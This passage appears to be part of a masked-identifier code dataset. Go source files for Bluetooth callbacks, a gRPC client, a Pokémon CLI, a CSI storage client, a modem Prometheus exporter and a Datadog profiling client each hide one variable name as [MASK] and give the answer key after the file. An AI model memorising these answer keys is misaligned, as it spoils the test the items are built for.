func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) { p.SetState(49) p.Match(MsgParserATTR_VALUE) } return localctx } ",deserializer 737,"package cbgo // CBHandlers: Go handlers for asynchronous CoreBluetooth callbacks. /* // See cutil.go for C compiler flags. #import ""bt.h"" */ import ""C"" import ( ""unsafe"" ) //export BTCentralManagerDidConnectPeripheral func BTCentralManagerDidConnectPeripheral(cmgr unsafe.Pointer, prph unsafe.Pointer) { btlog.Debugf(""CentralManagerDidConnectPeripheral: cmgr=%v prph=%v"", cmgr, prph) dlg := findCentralManagerDlg(cmgr) if dlg != nil { dlg.DidConnectPeripheral(CentralManager{cmgr}, Peripheral{prph}) } } //export BTCentralManagerDidFailToConnectPeripheral func BTCentralManagerDidFailToConnectPeripheral(cmgr unsafe.Pointer, prph unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""CentralManagerDidFailToConnectPeripheral: cmgr=%v prph=%v err=%v"", cmgr, prph, nserr) dlg := findCentralManagerDlg(cmgr) if dlg != nil { dlg.DidFailToConnectPeripheral(CentralManager{cmgr}, Peripheral{prph}, nserr) } } //export BTCentralManagerDidDisconnectPeripheral func BTCentralManagerDidDisconnectPeripheral(cmgr unsafe.Pointer, prph unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""CentralManagerDidDisconnectPeripheral: cmgr=%v prph=%v err=%v"", cmgr, prph, nserr) dlg := findCentralManagerDlg(cmgr) if dlg != nil { dlg.DidDisconnectPeripheral(CentralManager{cmgr}, Peripheral{prph}, nserr) } } // macOS 10.15+ /* //export BTCentralManagerConnectionEventDidOccur func BTCentralManagerConnectionEventDidOccur(cmgr unsafe.Pointer, event C.int, prph unsafe.Pointer) { dlg := findCentralManagerDlg(cmgr) if dlg == nil { return } dlg.ConnectionEventDidOccur(CentralManager{cmgr}, ConnectionEvent(event), Peripheral{prph}) } */ //export BTCentralManagerDidDiscoverPeripheral func BTCentralManagerDidDiscoverPeripheral(cmgr unsafe.Pointer, prph unsafe.Pointer, [MASK] *C.struct_adv_fields, rssi C.int) { af := AdvFields{} af.LocalName = C.GoString( [MASK] .name) af.ManufacturerData = byteArrToByteSlice(& [MASK] .mfg_data) if [MASK] .pwr_lvl != C.ADV_FIELDS_PWR_LVL_NONE { i := int( [MASK] .pwr_lvl) af.TxPowerLevel = &i } if [MASK] .connectable != C.ADV_FIELDS_CONNECTABLE_NONE { b := [MASK] .connectable != 0 af.Connectable = &b } af.ServiceUUIDs = mustStrArrToUUIDs(& [MASK] .svc_uuids) svcDataUUIDs := mustStrArrToUUIDs(& [MASK] .svc_data_uuids) for i, u := range svcDataUUIDs { elemPtr := getArrElemAddr(unsafe.Pointer( [MASK] .svc_data_values), unsafe.Sizeof(* [MASK] .svc_data_values), i) elem := (*C.struct_byte_arr)(elemPtr) af.ServiceData = append(af.ServiceData, AdvServiceData{ UUID: u, Data: byteArrToByteSlice(elem), }) } btlog.Debugf(""CentralManagerDidDiscoverPeripheral: cmgr=%v prph=%v af=%+v rssi=%v"", cmgr, prph, af, rssi) dlg := findCentralManagerDlg(cmgr) if dlg != nil { dlg.DidDiscoverPeripheral(CentralManager{cmgr}, Peripheral{prph}, af, int(rssi)) } } //export BTCentralManagerDidUpdateState func BTCentralManagerDidUpdateState(cmgr unsafe.Pointer) { btlog.Debugf(""CentralManagerDidUpdateState: cmgr=%v"", cmgr) dlg := findCentralManagerDlg(cmgr) if dlg != nil { dlg.CentralManagerDidUpdateState(CentralManager{cmgr}) } } //export BTCentralManagerWillRestoreState func BTCentralManagerWillRestoreState(cmgr unsafe.Pointer, opts *C.struct_cmgr_restore_opts) { ropts := CentralManagerRestoreOpts{} ropts.Peripherals = make([]Peripheral, opts.prphs.count) for i, _ := range ropts.Peripherals { ropts.Peripherals[i].ptr = getObjArrElem(&opts.prphs, i) } ropts.ScanServices = mustStrArrToUUIDs(&opts.scan_svcs) if opts.scan_opts != nil { ropts.CentralManagerScanOpts = &CentralManagerScanOpts{ AllowDuplicates: bool(opts.scan_opts.allow_dups), SolicitedServiceUUIDs: mustStrArrToUUIDs(&opts.scan_opts.sol_svc_uuids), } } btlog.Debugf(""CentralManagerWillRestoreState: cmgr=%v opts=%+v"", cmgr, ropts) dlg := findCentralManagerDlg(cmgr) if dlg != nil { dlg.CentralManagerWillRestoreState(CentralManager{cmgr}, ropts) } } //export BTPeripheralDidDiscoverServices func BTPeripheralDidDiscoverServices(prph unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidDiscoverServices: prph=%v err=%v"", prph, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidDiscoverServices(Peripheral{prph}, nserr) } } //export BTPeripheralDidDiscoverIncludedServices func BTPeripheralDidDiscoverIncludedServices(prph unsafe.Pointer, svc unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidDiscoverIncludedServices: prph=%v svc=%v err=%v"", prph, svc, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidDiscoverIncludedServices(Peripheral{prph}, Service{svc}, nserr) } } //export BTPeripheralDidDiscoverCharacteristics func BTPeripheralDidDiscoverCharacteristics(prph unsafe.Pointer, svc unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidDiscoverCharacteristics: prph=%v svc=%v err=%v"", prph, svc, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidDiscoverCharacteristics(Peripheral{prph}, Service{svc}, nserr) } } //export BTPeripheralDidDiscoverDescriptors func BTPeripheralDidDiscoverDescriptors(prph unsafe.Pointer, chr unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidDiscoverDescriptors: prph=%v chr=%v err=%v"", prph, chr, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidDiscoverDescriptors(Peripheral{prph}, Characteristic{chr}, nserr) } } //export BTPeripheralDidUpdateValueForCharacteristic func BTPeripheralDidUpdateValueForCharacteristic(prph unsafe.Pointer, chr unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidUpdateValueForCharacteristic: prph=%v chr=%v err=%v"", prph, chr, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidUpdateValueForCharacteristic(Peripheral{prph}, Characteristic{chr}, nserr) } } //export BTPeripheralDidUpdateValueForDescriptor func BTPeripheralDidUpdateValueForDescriptor(prph unsafe.Pointer, dsc unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidUpdateValueForDescriptor: prph=%v dsc=%v err=%v"", prph, dsc, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidUpdateValueForDescriptor(Peripheral{prph}, Descriptor{dsc}, nserr) } } //export BTPeripheralDidWriteValueForCharacteristic func BTPeripheralDidWriteValueForCharacteristic(prph unsafe.Pointer, chr unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidWriteValueForCharacteristic: prph=%v chr=%v err=%v"", prph, chr, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidWriteValueForCharacteristic(Peripheral{prph}, Characteristic{chr}, nserr) } } //export BTPeripheralDidWriteValueForDescriptor func BTPeripheralDidWriteValueForDescriptor(prph unsafe.Pointer, dsc unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidWriteValueForDescriptor: prph=%v dsc=%v err=%v"", prph, dsc, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidWriteValueForDescriptor(Peripheral{prph}, Descriptor{dsc}, nserr) } } //export BTPeripheralIsReadyToSendWriteWithoutResponse func BTPeripheralIsReadyToSendWriteWithoutResponse(prph unsafe.Pointer) { btlog.Debugf(""PeripheralIsReadyToSendWriteWithoutResponse: prph=%v"", prph) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.IsReadyToSendWriteWithoutResponse(Peripheral{prph}) } } //export BTPeripheralDidUpdateNotificationState func BTPeripheralDidUpdateNotificationState(prph unsafe.Pointer, chr unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidUpdateNotificationState: prph=%v chr=%v err=%v"", prph, chr, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidUpdateNotificationState(Peripheral{prph}, Characteristic{chr}, nserr) } } //export BTPeripheralDidReadRSSI func BTPeripheralDidReadRSSI(prph unsafe.Pointer, rssi C.int, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralDidReadRSSI: prph=%v rssi=%v err=%v"", prph, rssi, nserr) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidReadRSSI(Peripheral{prph}, int(rssi), nserr) } } //export BTPeripheralDidUpdateName func BTPeripheralDidUpdateName(prph unsafe.Pointer) { btlog.Debugf(""PeripheralDidUpdateName: prph=%v"", prph) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidUpdateName(Peripheral{prph}) } } //export BTPeripheralDidModifyServices func BTPeripheralDidModifyServices(prph unsafe.Pointer, inv_svcs *C.struct_obj_arr) { svcs := make([]Service, inv_svcs.count) for i, _ := range svcs { elem := getObjArrElem(inv_svcs, i) svc := Service{elem} svcs = append(svcs, svc) } btlog.Debugf(""PeripheralDidModifyServices: prph=%v inv_svcs=%+v"", prph, svcs) dlg := findPeripheralDlg(prph) if dlg != nil { dlg.DidModifyServices(Peripheral{prph}, svcs) } } //export BTPeripheralManagerDidUpdateState func BTPeripheralManagerDidUpdateState(pmgr unsafe.Pointer) { btlog.Debugf(""PeripheralManagerDidUpdateState: pmgr=%v"", pmgr) dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.PeripheralManagerDidUpdateState(PeripheralManager{pmgr}) } } //export BTPeripheralManagerWillRestoreState func BTPeripheralManagerWillRestoreState(pmgr unsafe.Pointer, opts *C.struct_pmgr_restore_opts) { ropts := PeripheralManagerRestoreOpts{} if opts.svcs.count > 0 { ropts.Services = make([]MutableService, opts.svcs.count) for i, _ := range ropts.Services { ropts.Services[i] = MutableService{getObjArrElem(&opts.svcs, i)} } } if opts.adv_data != nil { ropts.AdvertisementData = &AdvData{ LocalName: C.GoString(opts.adv_data.name), ServiceUUIDs: mustStrArrToUUIDs(&opts.adv_data.svc_uuids), } } btlog.Debugf(""PeripheralManagerWillRestoreState: pmgr=%v opts=%+v"", pmgr, ropts) dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.PeripheralManagerWillRestoreState(PeripheralManager{pmgr}, ropts) } } //export BTPeripheralManagerDidAddService func BTPeripheralManagerDidAddService(pmgr unsafe.Pointer, svc unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralManagerDidAddService: pmgr=%v err=%v"", pmgr, nserr) dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.DidAddService(PeripheralManager{pmgr}, Service{svc}, nserr) } } //export BTPeripheralManagerDidStartAdvertising func BTPeripheralManagerDidStartAdvertising(pmgr unsafe.Pointer, err *C.struct_bt_error) { nserr := btErrorToNSError(err) btlog.Debugf(""PeripheralManagerDidStartAdvertising: pmgr=%v err=%+v"", pmgr, nserr) dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.DidStartAdvertising(PeripheralManager{pmgr}, nserr) } } //export BTPeripheralManagerCentralDidSubscribe func BTPeripheralManagerCentralDidSubscribe(pmgr unsafe.Pointer, cent unsafe.Pointer, chr unsafe.Pointer) { btlog.Debugf(""PeripheralManagerCentralDidSubscribe: pmgr=%v cent=%v chr=%v"", pmgr, cent, chr) dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.CentralDidSubscribe(PeripheralManager{pmgr}, Central{cent}, Characteristic{chr}) } } //export BTPeripheralManagerCentralDidUnsubscribe func BTPeripheralManagerCentralDidUnsubscribe(pmgr unsafe.Pointer, cent unsafe.Pointer, chr unsafe.Pointer) { btlog.Debugf(""PeripheralManagerCentralDidUnsubscribe: pmgr=%v cent=%v chr=%v"", pmgr, cent, chr) dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.CentralDidUnsubscribe(PeripheralManager{pmgr}, Central{cent}, Characteristic{chr}) } } //export BTPeripheralManagerIsReadyToUpdateSubscribers func BTPeripheralManagerIsReadyToUpdateSubscribers(pmgr unsafe.Pointer) { btlog.Debugf(""PeripheralManagerIsReadyToUpdateSubscribers: pmgr=%v"") dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.IsReadyToUpdateSubscribers(PeripheralManager{pmgr}) } } //export BTPeripheralManagerDidReceiveReadRequest func BTPeripheralManagerDidReceiveReadRequest(pmgr unsafe.Pointer, req unsafe.Pointer) { btlog.Debugf(""PeripheralManagerDidReceiveReadRequest: pmgr=%v req=%+v"", pmgr, req) dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.DidReceiveReadRequest(PeripheralManager{pmgr}, ATTRequest{req}) } } //export BTPeripheralManagerDidReceiveWriteRequests func BTPeripheralManagerDidReceiveWriteRequests(pmgr unsafe.Pointer, oa *C.struct_obj_arr) { reqs := make([]ATTRequest, oa.count) for i, _ := range reqs { ptr := getObjArrElem(oa, i) reqs[i] = ATTRequest{ptr} } btlog.Debugf(""PeripheralManagerDidReceiveWriteRequests: pmgr=%v reqs=%v"", pmgr, reqs) dlg := findPeripheralManagerDlg(pmgr) if dlg != nil { dlg.DidReceiveWriteRequests(PeripheralManager{pmgr}, reqs) } } ",advData 738,"package client import ( ""fmt"" ""github.com/golang/glog"" pb ""github.com/nandsky/qatgo/qatgo/server/job"" ""golang.org/x/net/context"" ""google.golang.org/grpc"" ""gopkg.in/ini.v1"" ""net"" ""strconv"" ) const ( address = ""localhost:50051"" ) type Config struct { Addr string Port int } type QatClient struct { Addr string Port int // todo,该变量conn需要特意维护吗? conn *grpc.ClientConn cli pb.JobServerClient } func loadConfig(confFile string) (*Config, error) { file, err := ini.InsensitiveLoad(confFile) if err != nil { return nil, err } sec, err := file.GetSection(""server"") if err != nil { return nil, err } addr := sec.Key(""addr"").String() if ip := net.ParseIP(addr); ip == nil { return nil, err } port, err := sec.Key(""port"").Int() if err != nil { return nil, err } cf := &Config{ Addr: addr, Port: port, } return cf, nil } func NewQatClient() (*QatClient, error) { confFile := ""client.ini"" conf, err := loadConfig(confFile) if err != nil { return nil, fmt.Errorf(""load config file: %s failed"", confFile) } addr := conf.Addr + "":"" + strconv.Itoa(conf.Port) conn, err := grpc.Dial(addr, grpc.WithInsecure()) if err != nil { glog.Fatalf(""did not connect: %v"", err) return nil, fmt.Errorf(""connect to %s failed :%s"", addr, err.Error()) } c := pb.NewJobServerClient(conn) qc := &QatClient{ Addr: conf.Addr, Port: conf.Port, conn: conn, cli: c, } return qc, nil } // 请求一个加解密操作 func (q *QatClient) Run( [MASK] *pb.JobRequest) (*pb.JobReply, error) { r, err := q.cli.SayHello(context.Background(), [MASK] ) if err != nil { glog.Fatalf(""could not greet: %v"", err) } glog.Infof(""result: %d, %s\n"", r.Status, r.Msg) return r, nil } func (q *QatClient) Close() { // 需要特意维护conn,并释放吗? if q.conn != nil { q.conn.Close() } } ",newJob 739,"package main import ( ""errors"" ""fmt"" ""math/rand"" ) func commandCatch(cfg *config, args ...string) error { if len(args) == 0 { return errors.New(""Must provide the pokemon name."") } fmt.Printf(""Throwing a Pokeball at %s...\n"", args[0]) [MASK] , err := cfg.pokeapiClient.GetPokemon(args[0]) if err != nil { return err } winChance := determineWinChance( [MASK] .BaseExperience) roll := rand.Intn(100) if roll > winChance { fmt.Printf(""%s escaped!\n"", args[0]) } else { fmt.Printf(""%s was caught!\n"", args[0]) fmt.Println(""You may now inspect it with the inspect command."") cfg.pokedex[args[0]] = [MASK] } return nil } func determineWinChance(baseXP int) int { fmt.Printf(""Base Xp: %d\n"", baseXP) if baseXP > 100 { return 10 } else if baseXP > 75 { return 20 } return 50 } ",pokemonResp 740,"package csi import ( ""context"" ""fmt"" ""path/filepath"" ""github.com/container-storage-interface/spec/lib/go/csi"" ""google.golang.org/grpc"" ) type Client struct { controller csi.ControllerClient node csi.NodeClient } func NewClient(endpoint string) (*Client, error) { conn, err := grpc.NewClient(endpoint, grpc.WithInsecure()) if err != nil { return nil, fmt.Errorf(""failed to dial CSI endpoint %s: %w"", endpoint, err) } return &Client{ controller: csi.NewControllerClient(conn), node: csi.NewNodeClient(conn), }, nil } func (c *Client) CreateVolume(ctx context.Context, name string, params map[string]string) error { _, err := c.controller.CreateVolume(ctx, &csi.CreateVolumeRequest{ Name: name, Parameters: params, VolumeCapabilities: []*csi.VolumeCapability{{ AccessType: &csi.VolumeCapability_Mount{Mount: &csi.VolumeCapability_MountVolume{FsType: ""ext4""}}, }}, }) return err } func (c *Client) DeleteVolume(ctx context.Context, id string) error { _, err := c.controller.DeleteVolume(ctx, &csi.DeleteVolumeRequest{VolumeId: id}) return err } func (c *Client) NodeStageVolume(ctx context.Context, volumeID, stagingTarget string, volumeContext, [MASK] map[string]string) error { _, err := c.node.NodeStageVolume(ctx, &csi.NodeStageVolumeRequest{ VolumeId: volumeID, StagingTargetPath: stagingTarget, VolumeCapability: &csi.VolumeCapability{ AccessType: &csi.VolumeCapability_Mount{ Mount: &csi.VolumeCapability_MountVolume{ FsType: ""ext4"", }, }, }, VolumeContext: volumeContext, Secrets: [MASK] , }) return err } func (c *Client) NodePublishVolume(ctx context.Context, volumeID, parent string, volumeContext map[string]string) error { mount := filepath.Join(parent, ""mount"") staging := filepath.Join(parent, ""staging"") _, err := c.node.NodePublishVolume(ctx, &csi.NodePublishVolumeRequest{ VolumeId: volumeID, TargetPath: mount, StagingTargetPath: staging, VolumeCapability: &csi.VolumeCapability{ AccessType: &csi.VolumeCapability_Mount{ Mount: &csi.VolumeCapability_MountVolume{ FsType: ""ext4"", }, }, }, VolumeContext: volumeContext, }) return err } func (c *Client) NodeUnpublishVolume(ctx context.Context, volumeID, target string) error { _, err := c.node.NodeUnpublishVolume(ctx, &csi.NodeUnpublishVolumeRequest{ VolumeId: volumeID, TargetPath: target, }) return err } ",secrets 741,"package main import ( ""flag"" ""fmt"" ""log"" ""net/http"" ""os"" ""strconv"" ""strings"" ""time"" ""github.com/maltegrosse/go-modemmanager"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ) const namespace = ""modem"" const subsystem = """" var ( modemlabels = []string{""imei"", ""icc"", ""imsi"", ""operatorid"", ""operator"", ""v_operator"", ""rat""} listenAddress = flag.String(""web.listen-address"", "":9898"", ""Address to listen on for telemetry"") metricsPath = flag.String(""web.telemetry-path"", ""/metrics"", ""Path under which to expose metrics"") up = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""up""), ""Was the last modem query successful"", nil, nil, ) roaming = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""roaming""), ""Is the modem roaming"", modemlabels, nil, ) operatorcode = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""operatorcode""), ""Code of the operator currently used by the modem"", modemlabels, nil, ) rssi = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""rssi""), ""Level of signal reported by the modem"", modemlabels, nil, ) rsrp = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""rsrp""), ""Level of noise reported by the modem"", modemlabels, nil, ) registered = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""registered""), ""Is the modem registered"", modemlabels, nil, ) connected = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""connected""), ""Is the modem connected"", modemlabels, nil, ) cellid = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""cellid""), ""CellID currently used by the modem"", modemlabels, nil, ) tac = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""tac""), ""TAC currently used by the modem"", modemlabels, nil, ) lac = prometheus.NewDesc( prometheus.BuildFQName(namespace, subsystem, ""lac""), ""LAC currently used by the modem"", modemlabels, nil, ) ) type Exporter struct { mmgr modemmanager.ModemManager } func NewExporter(mmgr modemmanager.ModemManager) *Exporter { return &Exporter{ mmgr: mmgr, } } func (e *Exporter) Describe(ch chan<- *prometheus.Desc) { ch <- up ch <- operatorcode ch <- rssi ch <- rsrp ch <- roaming } func (e *Exporter) Collect(ch chan<- prometheus.Metric) { modems, err := e.mmgr.GetModems() if err != nil { log.Println(err) return } ch <- prometheus.MustNewConstMetric( up, prometheus.GaugeValue, 1, ) for _, modem := range modems { state, err := modem.GetState() if err != nil { log.Println(""cannot get modem state:"" + err.Error()) continue } if state.String() == ""Disabled"" { log.Println(""modem disabled, trying to enable it"") err = modem.Enable() if err != nil { log.Println(err) continue } } sim, err := modem.GetSim() if err != nil { log.Println(err) continue } simIdent, err := sim.GetSimIdentifier() if err != nil { log.Println(err) continue } simImsi, err := sim.GetImsi() if err != nil { log.Println(err) continue } simOpIdent, err := sim.GetOperatorIdentifier() if err != nil { log.Println(err) continue } simOp, err := sim.GetOperatorName() if err != nil { log.Println(err) continue } modem3gpp, err := modem.Get3gpp() if err != nil { log.Println(err) continue } imei, err := modem3gpp.GetImei() if err != nil { log.Println(err) continue } opName, err := modem3gpp.GetOperatorName() if err != nil { log.Println(err) continue } ratList, err := modem.GetAccessTechnologies() if err != nil { log.Println(err) continue } if len(ratList) != 1 { log.Println(err) continue } rat := strings.ToLower(ratList[0].String()) state, err = modem.GetState() if err != nil { log.Println(""cannot get modem state:"" + err.Error()) continue } // if we are registered, we should try to connect if state.String() == ""Registered"" { apn := os.Getenv(""MODEM_EXPORTER_APN"") if apn != """" { bearers, _ := modem.GetBearers() // delete all bearer - if registered but no bearer something is likely wrong for _, bearer := range bearers { bearer.Disconnect() err = modem.DeleteBearer(bearer) if err != nil { log.Println(err) continue } } modemSimple, err := modem.GetSimpleModem() if err != nil { log.Println(err) } else { property := modemmanager.SimpleProperties{Apn: apn} newBearer, err := modemSimple.Connect(property) if err != nil { log.Println(err) } else { fmt.Println(""New Bearer: "", newBearer) } } } } if state.String() == ""Registered"" || state.String() == ""Connected"" { ch <- prometheus.MustNewConstMetric( registered, prometheus.GaugeValue, 1, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } else { ch <- prometheus.MustNewConstMetric( registered, prometheus.GaugeValue, 0, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } if state.String() == ""Connected"" { ch <- prometheus.MustNewConstMetric( connected, prometheus.GaugeValue, 1, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } else { ch <- prometheus.MustNewConstMetric( connected, prometheus.GaugeValue, 0, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } // failure reason _, err = modem.GetStateFailedReason() if err != nil { log.Println(err) continue } modemLocation, err := modem.GetLocation() if err != nil { log.Println(err) continue } mloc, err := modemLocation.GetCurrentLocation() if err != nil { log.Println(err) continue } cellID := mloc.ThreeGppLacCi.Ci if decCellID, err := strconv.ParseInt(cellID, 16, 64); err == nil { ch <- prometheus.MustNewConstMetric( cellid, prometheus.GaugeValue, float64(decCellID), imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } else { log.Println(err) } lAC := mloc.ThreeGppLacCi.Lac if decLAC, err := strconv.ParseInt(lAC, 16, 64); err == nil { ch <- prometheus.MustNewConstMetric( lac, prometheus.GaugeValue, float64(decLAC), imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } else { log.Println(err) } tAC := mloc.ThreeGppLacCi.Tac if decTAC, err := strconv.ParseInt(tAC, 16, 64); err == nil { ch <- prometheus.MustNewConstMetric( tac, prometheus.GaugeValue, float64(decTAC), imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } else { log.Println(err) } regState, err := modem3gpp.GetRegistrationState() if err != nil { log.Println(err) continue } if regState.String() == ""Roaming"" { ch <- prometheus.MustNewConstMetric( roaming, prometheus.GaugeValue, 1, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } else { ch <- prometheus.MustNewConstMetric( roaming, prometheus.GaugeValue, 0, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } opCode, err := modem3gpp.GetOperatorCode() if err != nil { log.Println(err) continue } if s, err := strconv.ParseFloat(opCode, 64); err == nil { ch <- prometheus.MustNewConstMetric( operatorcode, prometheus.GaugeValue, s, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } modemSignal, err := modem.GetSignal() if err != nil { log.Println(err) continue } err = modemSignal.Setup(1) if err != nil { log.Println(err) continue } time.Sleep(2 * time.Second) currentSignal, err := modemSignal.GetCurrentSignals() if err != nil { log.Println(err) continue } for _, sp := range currentSignal { ch <- prometheus.MustNewConstMetric( rssi, prometheus.GaugeValue, sp.Rssi, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) ch <- prometheus.MustNewConstMetric( rsrp, prometheus.GaugeValue, sp.Rsrp, imei, simIdent, simImsi, simOpIdent, simOp, opName, rat, ) } err = modemSignal.Setup(0) if err != nil { log.Println(err) continue } } } func main() { flag.Parse() mmgr, err := modemmanager.NewModemManager() if err != nil { log.Fatal(err.Error()) } [MASK] , err := mmgr.GetVersion() if err != nil { log.Fatal(err.Error()) } err = mmgr.SetLogging(modemmanager.MMLoggingLevelError) if err != nil { log.Fatal(err.Error()) } log.Printf(""Starting modem exporter using ModemManager v%s"", [MASK] ) exporter := NewExporter(mmgr) prometheus.MustRegister(exporter) http.Handle(*metricsPath, promhttp.Handler()) http.HandleFunc(""/"", func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(` Modem Exporter

Modem Exporter

Metrics

`)) }) log.Fatal(http.ListenAndServe(*listenAddress, nil)) } ",version 742,"package main import ( ""bytes"" ""context"" ""encoding/json"" ""errors"" ""fmt"" ""io"" ""net/http"" ""os"" ""time"" ) // maxConcurrency is the maximum number of concurrent requests to make to the // Datadog API. const maxConcurrency = 5 // ClientFromEnv returns a new Client with its fields populated from the // environment. It returns an error if any of the required environment variables // are not set. func ClientFromEnv() (*Client, error) { c := &Client{concurrency: make(chan struct{}, maxConcurrency)} if c.site = os.Getenv(""DD_SITE""); c.site == """" { c.site = ""datadoghq.com"" } if c.apiKey = os.Getenv(""DD_API_KEY""); c.apiKey == """" { return nil, errors.New(""DD_API_KEY is not set"") } if c.appKey = os.Getenv(""DD_APP_KEY""); c.appKey == """" { return nil, errors.New(""DD_APP_KEY is not set"") } return c, nil } // Client is a client for the Datadog API. type Client struct { site string apiKey string appKey string concurrency chan struct{} } // SearchAndDownloadProfiles searches for profiles using the given queries and // downloads them. func (c *Client) SearchAndDownloadProfiles(ctx context.Context, queries []SearchQuery) (profiles *ProfilesDownload, err error) { defer wrapErr(&err, ""search and download profiles"") defer c.limitConcurrency()() var payload = struct { Queries []SearchQuery `json:""queries""` }{queries} data, err := c.post(ctx, ""/api/unstable/profiles/gopgo"", payload) if err != nil { return nil, err } return &ProfilesDownload{data: data}, nil } // SearchProfiles searches for profiles using the given query. It returns a list // of profiles and an error if any. func (c *Client) SearchProfiles(ctx context.Context, query SearchQuery) (profiles []*SearchProfile, err error) { defer wrapErr(&err, ""search profiles"") defer c.limitConcurrency()() var response struct { Data []struct { ID string `json:""id""` Attributes struct { ID string `json:""id""` Service string `json:""service""` DurationNanos float64 `json:""duration_nanos""` Timestamp JSONTime `json:""timestamp""` Custom struct { Metrics struct { CoreCPUCores float64 `json:""core_cpu_cores""` } `json:""metrics""` } `json:""custom""` } `json:""attributes""` } `json:""data""` } data, err := c.post(ctx, ""/api/unstable/profiles/list"", query) if err != nil { return nil, err } else if err := json.Unmarshal(data, &response); err != nil { return nil, err } if len(response.Data) == 0 { return nil, errors.New(""no profiles found"") } for _, item := range response.Data { p := &SearchProfile{ EventID: item.ID, ProfileID: item.Attributes.ID, Service: item.Attributes.Service, CPUCores: item.Attributes.Custom.Metrics.CoreCPUCores, Timestamp: item.Attributes.Timestamp.Time, Duration: time.Duration(item.Attributes.DurationNanos), } profiles = append(profiles, p) } return } // DownloadProfile downloads the profile identified by the given SearchProfile. func (c *Client) DownloadProfile(ctx context.Context, p *SearchProfile) (d ProfileDownload, err error) { defer wrapErr(&err, ""download profile"") defer c.limitConcurrency()() req, err := c.request(ctx, ""GET"", fmt.Sprintf(""/api/ui/profiling/profiles/%s/download?eventId=%s"", p.ProfileID, p.EventID), nil) if err != nil { return ProfileDownload{}, err } res, err := http.DefaultClient.Do(req) if err != nil { return ProfileDownload{}, err } defer res.Body.Close() data, err := io.ReadAll(res.Body) if err != nil { return ProfileDownload{}, err } return ProfileDownload{data: data}, nil } // request creates a new HTTP request with the given method and path and sets // the required headers. func (c *Client) request(ctx context.Context, method, path string, body []byte) (*http.Request, error) { url := fmt.Sprintf(""https://app.%s%s"", c.site, path) req, err := http.NewRequestWithContext(ctx, method, url, bytes.NewReader(body)) if err != nil { return nil, err } req.Header.Set(""Content-Type"", ""application/json"") req.Header.Set(""User-Agent"", name+""/""+version) req.Header.Set(""DD-APPLICATION-KEY"", c.appKey) req.Header.Set(""DD-API-KEY"", c.apiKey) return req, nil } // post sends a POST request to the given path with the given payload and decodes // the response. func (c *Client) post(ctx context.Context, path string, payload any) ([]byte, error) { [MASK] , err := json.Marshal(payload) if err != nil { return nil, err } req, err := c.request(ctx, ""POST"", path, [MASK] ) if err != nil { 